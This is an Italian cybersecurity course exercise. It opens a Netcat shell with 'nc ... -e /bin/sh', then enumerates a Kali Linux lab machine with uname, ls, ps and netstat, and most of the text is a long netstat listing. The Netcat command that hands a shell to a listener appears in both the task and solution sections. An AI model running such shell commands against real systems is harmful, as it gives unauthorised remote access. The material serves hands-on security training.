

# W9D2 - PRACTICE

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## 1) TRACCIA

Utilizzando questa riga di comando in Netcat:

```
<<NC -L -P 1234>>
```

Questo apre un listener per le connessioni in entrata -l apre un listener e -p assegna un numero di porta.

```
<<NC 192.168.3.245 1234 -e /bin/sh>>
```

Questo si conetterà all'indirizzo IP 192.168.3.245 sulla porta 1234, -e /bin/sh esegue una shell che verrà reindirizzata al nostro sistema. Questo ci consente di eseguire comandi dal nostro terminale.

Facciamo un esercizio di "discovering" nel sistema operativo Linux, usando i comandi visti fino ad ora.

L'obiettivo è ottenere informazioni sensibili e identificare i processi in esecuzione esplorando il sistema operativo.

Proseguiamo per step al fine di estrapolare le seguenti informazioni:

1. Informazioni di sistema
2. Esplorazione del file system
3. Processi in esecuzione
4. Risorse di rete
5. Utenti e autorizzazioni

## 2) RISOLUZIONE

```
(kali㉿kali)-[~]  
$ nc -l -p 1234
```

```
(kali㉿kali)-[~]  
$ nc 192.168.50.100 1234 -e /bin/sh
```

- **INFORMAZIONI SISTEMA** => “*uname -r*”

```
uname -r  
6.5.0-kali3-amd64
```

- **ESPLORAZIONE FILE SYSTEM** => “*ls -a*”

```
ls -a  
.  
..  
.bash_logout  
.bashrc  
.bashrc.original  
.BurpSuite  
.cache  
.config  
Desktop  
.dmrc  
Documents  
dos  
Downloads  
.emacs.d  
.face  
.face.icon  
gameshell-save.sh  
gameshell.sh  
.gnupg  
.ICEauthority  
.java  
.lesshsQ  
.lessbst  
.local  
.mozilla  
Music  
Pictures  
.pippo.swp  
.pki  
.profile  
Public  
report1  
studenti  
.sudo_as_admin_successful  
Templates  
tmp
```

```
.vboxclient-clipboard-tty7-control.pid  
.vboxclient-clipboard-tty7-service.pid  
.vboxclient-display-svgx-x11-tty7-control.pid  
.vboxclient-display-svgx-x11-tty7-service.pid  
.vboxclient-draganddrop-tty7-control.pid  
.vboxclient-draganddrop-tty7-service.pid  
.vboxclient-hostversion-tty7-control.pid  
.vboxclient-seamless-tty7-control.pid  
.vboxclient-seamless-tty7-service.pid  
.vboxclient-vmsvgx-session-tty7-control.pid  
Videos  
.viminfo  
W6D2.c  
W6D2.c.save  
.wget-hsts  
windows  
.Xauthority  
.xsession-errors  
.xsession-errors.old  
.zsh_history  
.zshrc
```

- **PROCESSI IN ESECUZIONE** => “ps”

```
ps
  PID TTY          TIME CMD
 13324 pts/1    00:00:00 zsh
 13804 pts/1    00:00:00 sh
 15366 pts/1    00:00:00 ps
```

- **RISORSE DI RETE** => “netstat -a”

```
netstat -a
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      11 192.168.50.100:1234     192.168.50.100:39546    ESTABLISH
ED
tcp        0      0 192.168.50.100:39546   192.168.50.100:1234    ESTABLISH
ED
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags   Type       State         I-Node  Path
unix    3      [ ]     STREAM    CONNECTED    42936    /run/user/1000/bus
unix    3      [ ]     STREAM    CONNECTED    20764
unix    3      [ ]     STREAM    CONNECTED    19143
unix    2      [ ]     DGRAM     CONNECTED    13254
unix    3      [ ]     STREAM    CONNECTED    20009    @/tmp/.ICE-unix/85
3
unix    3      [ ]     STREAM    CONNECTED    19377    /run/user/1000/at-
spi/bus_0
unix    3      [ ]     STREAM    CONNECTED    19604    /run/user/1000/bus
unix    3      [ ]     STREAM    CONNECTED    20598    /run/systemd/journ
al/stdout
unix    2      [ ]     DGRAM     CONNECTED    19478
unix    3      [ ]     STREAM    CONNECTED    43559
unix    3      [ ]     STREAM    CONNECTED    20102
unix    3      [ ]     STREAM    CONNECTED    19180    /run/user/1000/bus
unix    3      [ ]     STREAM    CONNECTED    16468    /run/systemd/journ
al/stdout
unix    3      [ ]     STREAM    CONNECTED    20919    /run/user/1000/at-
spi/bus_0
unix    2      [ ]     DGRAM     CONNECTED    20201
unix    3      [ ]     STREAM    CONNECTED    20057    /run/user/1000/bus
unix    3      [ ]     STREAM    CONNECTED    20854    /run/user/1000/bus
unix    3      [ ]     STREAM    CONNECTED    20719    /run/user/1000/bus
unix    3      [ ]     STREAM    CONNECTED    20529    @/tmp/.X11-unix/X0
unix    2      [ ACC ]   STREAM    LISTENING    17939    /tmp/.X11-unix/X0
unix    3      [ ]     STREAM    CONNECTED    44228    /run/user/1000/bus
unix    3      [ ]     STREAM    CONNECTED    19423    /run/systemd/journ
al/stdout
unix    3      [ ]     STREAM    CONNECTED    19959    /run/user/1000/at-
spi/bus_0
unix    3      [ ]     STREAM    CONNECTED    20031    /run/user/1000/bus
```

unix 3	[ ]	STREAM	CONNECTED	19963	
unix 2	[ ]	DGRAM	CONNECTED	16440	
unix 3	[ ]	STREAM	CONNECTED	20808	@/tmp/.X11-unix/X0
unix 3	[ ]	STREAM	CONNECTED	42932	
unix 3	[ ]	STREAM	CONNECTED	20752	/run/user/1000/at-
spi/bus_0					
unix 3	[ ]	STREAM	CONNECTED	19823	/run/user/1000/bus
unix 3	[ ]	STREAM	CONNECTED	19575	/run/systemd/journ
al/stdout					
unix 3	[ ]	STREAM	CONNECTED	20051	/run/user/1000/at-
spi/bus_0					
unix 3	[ ]	STREAM	CONNECTED	20556	
unix 3	[ ]	STREAM	CONNECTED	20545	
unix 3	[ ]	STREAM	CONNECTED	19183	
unix 3	[ ]	STREAM	CONNECTED	16203	/run/dbus/system_b
us_socket					
unix 2	[ ACC ]	STREAM	LISTENING	19307	/tmp/ssh-yC9ictHBn
mS1/agent.853					
unix 3	[ ]	STREAM	CONNECTED	43905	
unix 3	[ ]	STREAM	CONNECTED	20727	/run/systemd/journ
al/stdout					
unix 3	[ ]	STREAM	CONNECTED	20721	
unix 3	[ ]	STREAM	CONNECTED	20089	
unix 2	[ ACC ]	STREAM	LISTENING	19374	/tmp/.ICE-unix/853
unix 3	[ ]	STREAM	CONNECTED	18508	/run/dbus/system_b
us_socket					
unix 3	[ ]	STREAM	CONNECTED	19775	
unix 2	[ ]	DGRAM	CONNECTED	19488	
unix 3	[ ]	STREAM	CONNECTED	20036	/run/user/1000/at-
spi/bus_0					
unix 3	[ ]	STREAM	CONNECTED	19832	
unix 3	[ ]	STREAM	CONNECTED	18706	
unix 3	[ ]	STREAM	CONNECTED	20898	
unix 3	[ ]	STREAM	CONNECTED	16280	/run/systemd/journ
al/stdout					
unix 3	[ ]	STREAM	CONNECTED	20705	
unix 3	[ ]	STREAM	CONNECTED	20526	@/tmp/.X11-unix/X0
unix 3	[ ]	STREAM	CONNECTED	34608	
unix 3	[ ]	STREAM	CONNECTED	20489	@/tmp/.X11-unix/X0
unix 3	[ ]	STREAM	CONNECTED	16296	/run/systemd/journ

```

al/stdout
unix 3 [ ] STREAM CONNECTED 20867
unix 3 [ ] STREAM CONNECTED 20584 @/tmp/.X11-unix/X0
unix 3 [ ] STREAM CONNECTED 20004
unix 3 [ ] STREAM CONNECTED 19592 /run/systemd/journ
al/stdout
unix 3 [ ] STREAM CONNECTED 19441
unix 3 [ ] STREAM CONNECTED 19351
unix 3 [ ] STREAM CONNECTED 42928
unix 3 [ ] STREAM CONNECTED 20770 @/tmp/.X11-unix/X0
unix 3 [ ] STREAM CONNECTED 19112
unix 2 [ ACC ] STREAM LISTENING 15991 /run/dbus/system_b
us_socket
unix 3 [ ] STREAM CONNECTED 20045
unix 3 [ ] STREAM CONNECTED 19599 /run/user/1000/bus
unix 3 [ ] STREAM CONNECTED 16056
unix 2 [ ACC ] STREAM LISTENING 15993 /run/pcscd/pcscd.c
omm
unix 3 [ ] STREAM CONNECTED 44225 /run/user/1000/at-
spi/bus_0
unix 3 [ ] STREAM CONNECTED 20218
unix 3 [ ] STREAM CONNECTED 20639 /run/user/1000/at-
spi/bus_0
unix 2 [ ] DGRAM 19189
unix 3 [ ] STREAM CONNECTED 19174 /run/dbus/system_b
us_socket
unix 3 [ ] STREAM CONNECTED 20022 /run/user/1000/at-
spi/bus_0
unix 3 [ ] STREAM CONNECTED 20697
unix 3 [ ] STREAM CONNECTED 20807
unix 3 [ ] STREAM CONNECTED 20564 @/tmp/.X11-unix/X0
unix 3 [ ] STREAM CONNECTED 19968
unix 3 [ ] DGRAM CONNECTED 16444
unix 3 [ ] STREAM CONNECTED 19909 /run/user/1000/at-
spi/bus_0
unix 3 [ ] STREAM CONNECTED 19787
unix 3 [ ] STREAM CONNECTED 20512
unix 3 [ ] STREAM CONNECTED 19455
unix 3 [ ] STREAM CONNECTED 17733 /run/systemd/journ
al/stdout
unix 3 [ ] STREAM CONNECTED 20054

```

```

unix 3      [ ]      STREAM  CONNECTED  20972
unix 3      [ ]      STREAM  CONNECTED  19330
unix 3      [ ]      STREAM  CONNECTED  20572    @/tmp/.X11-unix/X0
unix 3      [ ]      STREAM  CONNECTED  16164
unix 3      [ ]      STREAM  CONNECTED  20901
unix 3      [ ]      STREAM  CONNECTED  19834    /run/user/1000/bus
unix 3      [ ]      STREAM  CONNECTED  18694    /run/systemd/journ
al/stdout
unix 3      [ ]      STREAM  CONNECTED  20975
unix 3      [ ]      STREAM  CONNECTED  20642
unix 3      [ ]      STREAM  CONNECTED  19776    @/tmp/.X11-unix/X0
unix 3      [ ]      STREAM  CONNECTED  20891
unix 3      [ ]      STREAM  CONNECTED  20094    /run/user/1000/bus
unix 3      [ ]      STREAM  CONNECTED  18507
unix 3      [ ]      STREAM  CONNECTED  20025
unix 3      [ ]      STREAM  CONNECTED  20835    /run/user/1000/bus
unix 3      [ ]      STREAM  CONNECTED  20590
unix 3      [ ]      STREAM  CONNECTED  20541
unix 3      [ ]      STREAM  CONNECTED  19902
unix 3      [ ]      STREAM  CONNECTED  16328
unix 3      [ ]      STREAM  CONNECTED  20175
unix 3      [ ]      STREAM  CONNECTED  43898
unix 3      [ ]      STREAM  CONNECTED  20638
unix 3      [ ]      STREAM  CONNECTED  19203    /run/dbus/system_b
us_socket
unix 3      [ ]      STREAM  CONNECTED  17971    @/tmp/.X11-unix/X0
unix 3      [ ]      STREAM  CONNECTED  16082    /run/systemd/journ
al/stdout
unix 3      [ ]      STREAM  CONNECTED  20340    /run/user/1000/bus
unix 3      [ ]      STREAM  CONNECTED  20567    @/tmp/.X11-unix/X0
unix 3      [ ]      STREAM  CONNECTED  19186
unix 3      [ ]      STREAM  CONNECTED  19191
unix 3      [ ]      STREAM  CONNECTED  20933
unix 3      [ ]      STREAM  CONNECTED  20757    /run/user/1000/bus
unix 2      [ ]      DGRAM    19528    /run/user/1000/sys
temd/notify
unix 3      [ ]      STREAM  CONNECTED  19996    @/tmp/.ICE-unix/85
3
unix 2      [ ACC ]   STREAM  LISTENING 19531    /run/user/1000/sys
temd/private

```

unix	3	[ ]	DGRAM	CONNECTED	18195	
unix	3	[ ]	STREAM	CONNECTED	20592	@/tmp/.X11-unix/X0
unix	3	[ ]	STREAM	CONNECTED	19388	
unix	2	[ ACC ]	STREAM	LISTENING	19540	/run/user/1000/bus
unix	3	[ ]	STREAM	CONNECTED	34612	/run/systemd/journ
al/stdout						
unix	3	[ ]	STREAM	CONNECTED	19918	/run/user/1000/bus
unix	3	[ ]	STREAM	CONNECTED	20042	/run/user/1000/at-
spi/bus_0						
unix	3	[ ]	STREAM	CONNECTED	19993	
unix	2	[ ACC ]	STREAM	LISTENING	19541	/run/user/1000/gnu
pg/S.dirmngr						
unix	3	[ ]	STREAM	CONNECTED	20271	
unix	3	[ ]	STREAM	CONNECTED	20709	
unix	2	[ ACC ]	STREAM	LISTENING	19543	/run/user/1000/gcr
/ssh						
unix	3	[ ]	DGRAM	CONNECTED	13059	/run/systemd/notif
y						
unix	2	[ ACC ]	STREAM	LISTENING	13062	/run/systemd/priva
te						
unix	3	[ ]	STREAM	CONNECTED	20007	/run/user/1000/at-
spi/bus_0						
unix	2	[ ACC ]	STREAM	LISTENING	19545	/run/user/1000/key
ring/control						
unix	2	[ ACC ]	STREAM	LISTENING	19547	/run/user/1000/gnu
pg/S.gpg-agent.browser						
unix	2	[ ACC ]	STREAM	LISTENING	13064	/run/systemd/userd
b/io.systemd.DynamicUser						
unix	2	[ ACC ]	STREAM	LISTENING	19549	/run/user/1000/gnu
pg/S.gpg-agent.extra						
unix	2	[ ACC ]	STREAM	LISTENING	13065	/run/systemd/io.sy
stem.ManagedOOM						
unix	3	[ ]	STREAM	CONNECTED	43560	/run/user/1000/at-
spi/bus_0						
unix	3	[ ]	STREAM	CONNECTED	20225	
unix	3	[ ]	STREAM	CONNECTED	20111	@/tmp/.ICE-unix/85
3						
unix	3	[ ]	STREAM	CONNECTED	20604	@/tmp/.X11-unix/X0
unix	3	[ ]	STREAM	CONNECTED	19613	
unix	2	[ ACC ]	STREAM	LISTENING	19551	/run/user/1000/gnu
pg/S.gpg-agent.ssh						
unix	3	[ ]	STREAM	CONNECTED	20369	/run/user/1000/bus



unix 2	[ ACC ]	STREAM	LISTENING	19553	/run/user/1000/gnu
pg/S.gpg-agent					
unix 3	[ ]	STREAM	CONNECTED	19464	
unix 3	[ ]	STREAM	CONNECTED	20040	
unix 3	[ ]	STREAM	CONNECTED	20493	/run/user/1000/bus
unix 3	[ ]	STREAM	CONNECTED	16168	/run/dbus/system_b
us_socket					
unix 2	[ ACC ]	STREAM	LISTENING	13079	/run/systemd/fsck.
progress					
unix 3	[ ]	STREAM	CONNECTED	20952	
unix 3	[ ]	STREAM	CONNECTED	20735	/run/dbus/system_b
us_socket					
unix 2	[ ACC ]	STREAM	LISTENING	19555	/run/user/1000/pul
se/native					
unix 3	[ ]	STREAM	CONNECTED	19192	
unix 3	[ ]	STREAM	CONNECTED	19141	/run/dbus/system_b
us_socket					
unix 2	[ ACC ]	STREAM	LISTENING	19557	/run/user/1000/pip
ewire-0					
unix 3	[ ]	STREAM	CONNECTED	20488	
unix 2	[ ACC ]	STREAM	LISTENING	19559	/run/user/1000/pip
ewire-0-manager					
unix 11	[ ]	DGRAM	CONNECTED	13080	/run/systemd/journ
al/dev-log					
unix 3	[ ]	STREAM	CONNECTED	20071	
unix 6	[ ]	DGRAM	CONNECTED	13082	/run/systemd/journ
al/socket					
unix 3	[ ]	STREAM	CONNECTED	44227	
unix 3	[ ]	STREAM	CONNECTED	19317	/run/user/1000/bus
unix 2	[ ACC ]	STREAM	LISTENING	13084	/run/systemd/journ
al/stdout					
unix 3	[ ]	STREAM	CONNECTED	19903	@/tmp/.X11-unix/X0
unix 2	[ ACC ]	SEQPACKET	LISTENING	13086	/run/udev/control
unix 3	[ ]	STREAM	CONNECTED	20845	/run/user/1000/bus
unix 3	[ ]	STREAM	CONNECTED	20041	/run/user/1000/at-
spi/bus_0					
unix 3	[ ]	STREAM	CONNECTED	19978	
unix 3	[ ]	DGRAM	CONNECTED	16445	
unix 3	[ ]	STREAM	CONNECTED	20884	/run/systemd/journ
al/stdout					
unix 3	[ ]	STREAM	CONNECTED	20017	/run/user/1000/at-
spi/bus_0					



unix 3	[ ]	STREAM	CONNECTED	20902	/run/user/1000/gvf
sd/socket-310bWDR					
unix 3	[ ]	STREAM	CONNECTED	19960	
unix 2	[ ACC ]	STREAM	LISTENING	19181	/run/user/1000/key
ring/pkcs11					
unix 3	[ ]	STREAM	CONNECTED	17970	
unix 3	[ ]	STREAM	CONNECTED	18734	
unix 3	[ ]	DGRAM	CONNECTED	15998	
unix 3	[ ]	STREAM	CONNECTED	20641	/run/user/1000/bus
unix 3	[ ]	STREAM	CONNECTED	19608	
unix 3	[ ]	DGRAM	CONNECTED	19529	
unix 3	[ ]	STREAM	CONNECTED	18878	/run/systemd/journ
al/stdout					
unix 2	[ ]	DGRAM	CONNECTED	16258	
unix 3	[ ]	STREAM	CONNECTED	43557	
unix 3	[ ]	STREAM	CONNECTED	20237	
unix 3	[ ]	STREAM	CONNECTED	20714	/run/dbus/system_b
us_socket					
unix 3	[ ]	STREAM	CONNECTED	19994	/run/user/1000/at-
spi/bus_0					
unix 3	[ ]	STREAM	CONNECTED	19442	/run/user/1000/bus
unix 3	[ ]	STREAM	CONNECTED	20055	/run/user/1000/bus
unix 3	[ ]	STREAM	CONNECTED	19297	
unix 3	[ ]	STREAM	CONNECTED	42935	
unix 3	[ ]	STREAM	CONNECTED	20765	/run/user/1000/bus
unix 2	[ ]	DGRAM	CONNECTED	13200	
unix 2	[ ACC ]	STREAM	LISTENING	19348	/run/user/1000/at-
spi/bus_0					
unix 2	[ ]	DGRAM	CONNECTED	17603	
unix 3	[ ]	STREAM	CONNECTED	20830	/run/user/1000/bus
unix 3	[ ]	STREAM	CONNECTED	20579	
unix 3	[ ]	STREAM	CONNECTED	20507	@/tmp/.X11-unix/X0
unix 3	[ ]	STREAM	CONNECTED	19566	
unix 3	[ ]	STREAM	CONNECTED	20023	
unix 3	[ ]	STREAM	CONNECTED	20259	
unix 3	[ ]	STREAM	CONNECTED	20734	
unix 3	[ ]	STREAM	CONNECTED	20899	/run/dbus/system_b
us_socket					
unix 3	[ ]	STREAM	CONNECTED	20046	/run/user/1000/at-
spi/bus_0					
unix 3	[ ]	STREAM	CONNECTED	16163	
unix 3	[ ]	STREAM	CONNECTED	19352	/run/user/1000/at-

```

spi/bus_0
unix 3 [ ] STREAM CONNECTED 18707 /run/dbus/system_b
us_socket
unix 3 [ ] STREAM CONNECTED 20300 @/tmp/.X11-unix/X0
unix 3 [ ] STREAM CONNECTED 20100
unix 2 [ ACC ] STREAM LISTENING 13197 /run/systemd/journ
al/io.systemd.journal
unix 3 [ ] STREAM CONNECTED 20388 /run/dbus/system_b
us_socket
unix 3 [ ] STREAM CONNECTED 19618
unix 2 [ ] DGRAM CONNECTED 18394
unix 2 [ ] DGRAM 20235
unix 3 [ ] STREAM CONNECTED 20504
unix 2 [ ] DGRAM CONNECTED 20962
unix 3 [ ] STREAM CONNECTED 20052
unix 3 [ ] STREAM CONNECTED 19945 @/tmp/.X11-unix/X0
unix 3 [ ] STREAM CONNECTED 19700 /run/user/1000/pip
ewire-0
unix 3 [ ] STREAM CONNECTED 19136
unix 3 [ ] STREAM CONNECTED 20886 /run/user/1000/bus
unix 3 [ ] STREAM CONNECTED 20560
unix 3 [ ] STREAM CONNECTED 20006
unix 2 [ ] DGRAM CONNECTED 16298
unix 3 [ ] STREAM CONNECTED 19788 @/tmp/.X11-unix/X0
unix 3 [ ] DGRAM CONNECTED 13060
unix 3 [ ] STREAM CONNECTED 34613 /run/systemd/journ
al/stdout
unix 3 [ ] STREAM CONNECTED 19411 /run/systemd/journ
al/stdout
unix 3 [ ] STREAM CONNECTED 20534 @/tmp/.X11-unix/X0
unix 3 [ ] STREAM CONNECTED 20668 /run/dbus/system_b
us_socket
unix 3 [ ] STREAM CONNECTED 20296
unix 3 [ ] STREAM CONNECTED 20706 @/tmp/.X11-unix/X0
unix 3 [ ] STREAM CONNECTED 20012
unix 3 [ ] STREAM CONNECTED 19912
unix 3 [ ] STREAM CONNECTED 20868 /run/systemd/journ
al/stdout
unix 3 [ ] STREAM CONNECTED 20563
unix 3 [ ] STREAM CONNECTED 20495 /run/dbus/system_b
us_socket
unix 3 [ ] STREAM CONNECTED 34616 /run/user/1000/bus

```

unix 3	[ ]	STREAM	CONNECTED	20756	
unix 3	[ ]	STREAM	CONNECTED	19699	/run/user/1000/pip
ewire-0					
unix 3	[ ]	STREAM	CONNECTED	19140	
unix 3	[ ]	STREAM	CONNECTED	19953	@/tmp/.ICE-unix/85
3					
unix 3	[ ]	DGRAM	CONNECTED	18194	
unix 3	[ ]	STREAM	CONNECTED	20049	/run/user/1000/bus
unix 3	[ ]	STREAM	CONNECTED	19151	
unix 3	[ ]	STREAM	CONNECTED	18506	/run/dbus/system_b
us_socket					
unix 3	[ ]	STREAM	CONNECTED	43558	@/tmp/.ICE-unix/85
3					
unix 3	[ ]	STREAM	CONNECTED	20624	@/tmp/.X11-unix/X0
unix 3	[ ]	STREAM	CONNECTED	20762	/run/systemd/journ
al/stdout					
unix 3	[ ]	STREAM	CONNECTED	20640	
unix 3	[ ]	STREAM	CONNECTED	20893	
unix 3	[ ]	STREAM	CONNECTED	20048	
unix 3	[ ]	STREAM	CONNECTED	19817	
unix 2	[ ]	DGRAM		19706	
unix 3	[ ]	STREAM	CONNECTED	16279	
unix 3	[ ]	DGRAM	CONNECTED	15999	
unix 3	[ ]	STREAM	CONNECTED	20710	/run/dbus/system_b
us_socket					
unix 3	[ ]	STREAM	CONNECTED	20287	
unix 3	[ ]	STREAM	CONNECTED	20021	
unix 3	[ ]	STREAM	CONNECTED	19889	
unix 3	[ ]	STREAM	CONNECTED	16414	
unix 3	[ ]	STREAM	CONNECTED	20828	/run/user/1000/at-
spi/bus_0					
unix 3	[ ]	STREAM	CONNECTED	20578	
unix 3	[ ]	STREAM	CONNECTED	20501	/run/dbus/system_b
us_socket					
unix 3	[ ]	STREAM	CONNECTED	18515	/run/dbus/system_b
us_socket					
unix 3	[ ]	STREAM	CONNECTED	42933	@/tmp/.X11-unix/X0
unix 3	[ ]	STREAM	CONNECTED	20758	
unix 3	[ ]	STREAM	CONNECTED	19574	/run/systemd/journ
al/stdout					
unix 3	[ ]	STREAM	CONNECTED	20594	/run/user/1000/pul
se/native					

unix 3	[ ]	STREAM	CONNECTED	20030	/run/user/1000/at-
spi/bus_0					
unix 3	[ ]	STREAM	CONNECTED	19948	@/tmp/.X11-unix/X0
unix 3	[ ]	STREAM	CONNECTED	17727	
unix 3	[ ]	STREAM	CONNECTED	43555	
unix 3	[ ]	STREAM	CONNECTED	20777	/run/dbus/system_b
us_socket					
unix 3	[ ]	STREAM	CONNECTED	19176	/run/dbus/system_b
us_socket					
unix 3	[ ]	STREAM	CONNECTED	20647	/run/dbus/system_b
us_socket					
unix 3	[ ]	STREAM	CONNECTED	20600	/run/dbus/system_b
us_socket					
unix 3	[ ]	STREAM	CONNECTED	16004	
unix 3	[ ]	STREAM	CONNECTED	20922	
unix 3	[ ]	STREAM	CONNECTED	20608	
unix 3	[ ]	STREAM	CONNECTED	17943	/run/dbus/system_b
us_socket					
unix 3	[ ]	STREAM	CONNECTED	20704	/run/user/1000/at-
spi/bus_0					
unix 3	[ ]	STREAM	CONNECTED	20056	/run/user/1000/at-
spi/bus_0					
unix 3	[ ]	STREAM	CONNECTED	18514	
unix 3	[ ]	STREAM	CONNECTED	20542	/run/dbus/system_b
us_socket					
unix 3	[ ]	STREAM	CONNECTED	19917	
unix 3	[ ]	STREAM	CONNECTED	19811	@/tmp/.X11-unix/X0
unix 3	[ ]	STREAM	CONNECTED	20050	
unix 3	[ ]	STREAM	CONNECTED	20546	@/tmp/.X11-unix/X0
unix 3	[ ]	STREAM	CONNECTED	19376	
unix 3	[ ]	STREAM	CONNECTED	19167	
unix 3	[ ]	STREAM	CONNECTED	19572	/run/systemd/journ
al/stdout					
unix 3	[ ]	STREAM	CONNECTED	20776	@/tmp/.X11-unix/X0
unix 3	[ ]	STREAM	CONNECTED	19196	/run/user/1000/bus
unix 3	[ ]	STREAM	CONNECTED	20034	
unix 3	[ ]	STREAM	CONNECTED	19328	/run/systemd/journ
al/stdout					
unix 3	[ ]	STREAM	CONNECTED	18400	/run/dbus/system_b
us_socket					
unix 3	[ ]	STREAM	CONNECTED	20894	/run/user/1000/bus
unix 2	[ ]	DGRAM	CONNECTED	18511	

unix 3	[ ]	STREAM	CONNECTED	16081	
unix 3	[ ]	STREAM	CONNECTED	44223	@/tmp/.X11-unix/X0
unix 3	[ ]	STREAM	CONNECTED	20212	
unix 3	[ ]	STREAM	CONNECTED	20123	@/tmp/.ICE-unix/85
3					
unix 3	[ ]	STREAM	CONNECTED	19607	
unix 3	[ ]	STREAM	CONNECTED	20018	
unix 3	[ ]	STREAM	CONNECTED	20267	
unix 3	[ ]	STREAM	CONNECTED	20718	
unix 3	[ ]	STREAM	CONNECTED	20583	
unix 3	[ ]	STREAM	CONNECTED	19999	/run/user/1000/bus
unix 3	[ ]	STREAM	CONNECTED	20843	
unix 3	[ ]	STREAM	CONNECTED	19910	
unix 3	[ ]	DGRAM	CONNECTED	13061	
unix 3	[ ]	STREAM	CONNECTED	20609	/run/user/1000/pip
ewire-0					
unix 3	[ ]	STREAM	CONNECTED	19995	/run/user/1000/bus
unix 3	[ ]	STREAM	CONNECTED	19849	@/tmp/.X11-unix/X0
unix 3	[ ]	STREAM	CONNECTED	20955	
unix 3	[ ]	STREAM	CONNECTED	20759	/run/dbus/system_b
us_socket					
unix 3	[ ]	STREAM	CONNECTED	19762	@/tmp/.X11-unix/X0
unix 3	[ ]	STREAM	CONNECTED	19132	
unix 2	[ ]	DGRAM		17766	
unix 3	[ ]	STREAM	CONNECTED	43907	
unix 3	[ ]	STREAM	CONNECTED	20908	/run/systemd/journ
al/stdout					
unix 3	[ ]	DGRAM	CONNECTED	15878	
unix 3	[ ]	STREAM	CONNECTED	20029	
unix 3	[ ]	STREAM	CONNECTED	16057	/run/systemd/journ
al/stdout					
unix 3	[ ]	STREAM	CONNECTED	43906	
unix 3	[ ]	STREAM	CONNECTED	20803	/run/dbus/system_b
us_socket					
unix 3	[ ]	STREAM	CONNECTED	20231	
unix 3	[ ]	STREAM	CONNECTED	20722	@/tmp/.X11-unix/X0
unix 3	[ ]	DGRAM	CONNECTED	19530	
unix 3	[ ]	STREAM	CONNECTED	20557	@/tmp/.X11-unix/X0
unix 3	[ ]	STREAM	CONNECTED	19567	/run/systemd/journ
al/stdout					
unix 3	[ ]	STREAM	CONNECTED	20829	
unix 3	[ ]	STREAM	CONNECTED	20575	

unix 3	[ ]	STREAM	CONNECTED	20496	/run/systemd/journ
al/stdout					
unix 3	[ ]	STREAM	CONNECTED	20844	/run/user/1000/bus
unix 3	[ ]	STREAM	CONNECTED	20698	@/tmp/.X11-unix/X0
unix 3	[ ]	STREAM	CONNECTED	20024	/run/user/1000/bus
unix 3	[ ]	STREAM	CONNECTED	19639	
unix 3	[ ]	STREAM	CONNECTED	43903	
unix 3	[ ]	STREAM	CONNECTED	20763	/run/systemd/journ
al/stdout					
unix 3	[ ]	STREAM	CONNECTED	20725	
unix 3	[ ]	STREAM	CONNECTED	20120	
unix 3	[ ]	STREAM	CONNECTED	44226	@/tmp/.ICE-unix/85
3					
unix 3	[ ]	STREAM	CONNECTED	20912	
unix 3	[ ]	STREAM	CONNECTED	20037	
unix 3	[ ]	STREAM	CONNECTED	19188	/run/user/1000/pip
ewire-0					
unix 3	[ ]	STREAM	CONNECTED	19091	/run/dbus/system_b
us_socket					
unix 3	[ ]	DGRAM	CONNECTED	15877	
unix 3	[ ]	STREAM	CONNECTED	20934	/run/dbus/system_b
us_socket					
unix 3	[ ]	STREAM	CONNECTED	20769	
unix 3	[ ]	STREAM	CONNECTED	19195	
unix 3	[ ]	STREAM	CONNECTED	19576	/run/systemd/journ
al/stdout					
unix 3	[ ]	STREAM	CONNECTED	20061	
unix 3	[ ]	STREAM	CONNECTED	19184	/run/user/1000/bus
unix 3	[ ]	STREAM	CONNECTED	17775	
unix 3	[ ]	STREAM	CONNECTED	20514	
unix 3	[ ]	STREAM	CONNECTED	19454	
unix 3	[ ]	STREAM	CONNECTED	34615	
unix 3	[ ]	STREAM	CONNECTED	19956	
unix 3	[ ]	STREAM	CONNECTED	16293	
unix 3	[ ]	STREAM	CONNECTED	19816	
unix 3	[ ]	STREAM	CONNECTED	20878	
unix 3	[ ]	STREAM	CONNECTED	20043	/run/user/1000/bus
unix 3	[ ]	STREAM	CONNECTED	19998	
unix 3	[ ]	STREAM	CONNECTED	20251	
unix 3	[ ]	STREAM	CONNECTED	20703	
unix 3	[ ]	STREAM	CONNECTED	20014	
unix 3	[ ]	STREAM	CONNECTED	20784	/run/systemd/journ



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al/stdout
unix 3 [ ] STREAM CONNECTED 20093
unix 3 [ ] STREAM CONNECTED 19175 /run/dbus/system_b
us_socket
unix 3 [ ] STREAM CONNECTED 43556 /run/user/1000/at-
spi/bus_0
unix 3 [ ] STREAM CONNECTED 20973 /run/user/1000/bus
unix 3 [ ] STREAM CONNECTED 19833
unix 3 [ ] STREAM CONNECTED 19185
unix 3 [ ] STREAM CONNECTED 17904
unix 3 [ ] STREAM CONNECTED 20035
unix 3 [ ] STREAM CONNECTED 19051 /run/systemd/journ
al/stdout
unix 3 [ ] STREAM CONNECTED 19125
unix 3 [ ] STREAM CONNECTED 42929 @/tmp/.X11-unix/X0
unix 3 [ ] STREAM CONNECTED 20885
unix 3 [ ] STREAM CONNECTED 20053 /run/user/1000/bus
unix 2 [ ] DGRAM CONNECTED 19318
unix 3 [ ] STREAM CONNECTED 19990 @/tmp/.ICE-unix/85
3
unix 3 [ ] STREAM CONNECTED 19389 /run/user/1000/bus
unix 3 [ ] STREAM CONNECTED 20879 /run/user/1000/bus
unix 3 [ ] STREAM CONNECTED 19810
unix 3 [ ] STREAM CONNECTED 16329 /run/dbus/system_b
us_socket
unix 3 [ ] STREAM CONNECTED 34607
unix 3 [ ] STREAM CONNECTED 19908
unix 3 [ ] STREAM CONNECTED 20019 /run/user/1000/bus
unix 3 [ ] STREAM CONNECTED 20667
unix 3 [ ] STREAM CONNECTED 20851 /run/systemd/journ
al/stdout
unix 3 [ ] STREAM CONNECTED 44229 /run/user/1000/at-
spi/bus_0
unix 3 [ ] STREAM CONNECTED 20918
unix 3 [ ] STREAM CONNECTED 20038 /run/user/1000/bus
unix 3 [ ] STREAM CONNECTED 18399
unix 3 [ ] STREAM CONNECTED 20103 /run/user/1000/at-
spi/bus_0
unix 3 [ ] STREAM CONNECTED 19717
unix 2 [ ] DGRAM CONNECTED 16330
unix 3 [ ] STREAM CONNECTED 15887
unix 3 [ ] STREAM CONNECTED 20646

```



unix 3	[ ]	STREAM	CONNECTED	20079	
unix 3	[ ]	STREAM	CONNECTED	20522	
unix 3	[ ]	STREAM	CONNECTED	19386	
unix 3	[ ]	STREAM	CONNECTED	19168	
